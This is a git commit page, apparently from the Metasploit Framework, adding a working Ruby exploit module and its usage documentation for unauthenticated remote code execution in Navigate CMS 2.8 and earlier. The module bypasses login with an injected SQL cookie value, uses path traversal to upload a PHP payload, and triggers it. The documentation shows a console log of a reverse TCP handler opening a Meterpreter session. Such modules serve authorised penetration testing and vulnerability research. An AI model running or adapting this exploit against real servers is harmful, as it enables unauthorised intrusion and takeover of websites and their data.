Land #10704, Navigate CMS Unauthenticated RCE

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-10-04 06:44:21 -05:00
commit 8b955f8ec5
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
2 changed files with 172 additions and 0 deletions

View File

@ -0,0 +1,44 @@
## Description
This module exploits insufficient sanitization in the database::protect method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
It then uses a path traversal vulnerability in navigate_upload.php that allows authenticated users to upload PHP files to arbitrary locations.
Together these vulnerabilities allow an unauthenticated attacker to execute arbitrary PHP code remotely.
This module was tested against Navigate CMS 2.8.
## Vulnerable Application
[Navigate CMS 2.8](https://master.dl.sourceforge.net/project/navigatecms/releases/navigate-2.8r1302.zip)
## Verification Steps
1. Install Navigate CMS
2. Start `msfconsole`
3. `use exploit/multi/http/navigate_cms_rce`
4. `set RHOST <rhost>`
5. `check`
6. You should see `The target appears to be vulnerable.`
7. `exploit`
8. You should get a meterpreter session
## Scenarios
### Navigate CMS on Ubuntu 18.04
```
msf5 > use exploit/multi/http/navigate_cms_rce
msf5 exploit(multi/http/navigate_cms_rce) > set RHOST 192.168.178.45
RHOST => 192.168.178.45
msf5 exploit(multi/http/navigate_cms_rce) > check
[*] 192.168.178.45:80 The target appears to be vulnerable.
msf5 exploit(multi/http/navigate_cms_rce) > exploit
[*] Started reverse TCP handler on 192.168.178.35:4444
[+] Login bypass successful
[+] Upload successful
[*] Triggering payload...
[*] Sending stage (37775 bytes) to 192.168.178.45
[*] Meterpreter session 1 opened (192.168.178.35:4444 -> 192.168.178.45:52720) at 2018-09-26 22:24:59 +0200
meterpreter >
```

View File

@ -0,0 +1,128 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Navigate CMS Unauthenticated Remote Code Execution',
'Description' => %q(
This module exploits insufficient sanitization in the database::protect
method, of Navigate CMS versions 2.8 and prior, to bypass authentication.
The module then uses a path traversal vulnerability in navigate_upload.php
that allows authenticated users to upload PHP files to arbitrary locations.
Together these vulnerabilities allow an unauthenticated attacker to
execute arbitrary PHP code remotely.
This module was tested against Navigate CMS 2.8.
),
'Author' =>
[
'Pyriphlegethon' # Discovery / msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2018-17552'], # Authentication bypass
['CVE', '2018-17553'] # File upload
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 26 2018'))
register_options [
OptString.new('TARGETURI', [true, 'Base Navigate CMS directory path', '/navigate/']),
]
end
def login_bypass
check_resp = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.php')
)
login_bypass_resp = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/login.php'),
'cookie' => 'navigate-user=\" OR TRUE--%20'
)
if login_bypass_resp &&
login_bypass_resp.code == 302 &&
check_resp.body.include?('Navigate CMS')
session_id = login_bypass_resp.get_cookies_parsed
.values.select { |v| v.to_s.include?('NVSID_') }
.first.first
return session_id
end
end
def check
return CheckCode::Vulnerable if login_bypass
CheckCode::Safe
end
def exploit
session_id = login_bypass
fail_with(Failure::NoAccess, 'Login bypass failed') unless session_id
print_good('Login bypass successful')
php = payload.encoded
data = Rex::MIME::Message.new
data.add_part(php, 'image/jpeg', nil,
"form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(10..15)}\"")
data_post = data.to_s
upload = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/navigate_upload.php'),
'vars_get' => Hash[{
'session_id' => session_id,
'engine' => 'picnik',
'id' => '../../../navigate_info.php'
}.to_a.shuffle],
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post
)
fail_with(Failure::Unreachable, 'Unable to reach target') unless upload
fail_with(Failure::Unknown, 'Upload unsuccessful') unless upload.code == 200
print_good('Upload successful')
print_status('Triggering payload...')
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/navigate_info.php')
)
end
def on_new_session(session)
super
if session.type != 'meterpreter'
print_error('Unable to restore navigate_info.php')
return
end
session.core.use('stdapi') if !session.ext.aliases.include?('stdapi')
begin
session.fs.file.open('navigate_info.php', 'w').write("<?php\n\nphpinfo();\n\n?>")
rescue
print_error('Unable to restore navigate_info.php')
end
end
end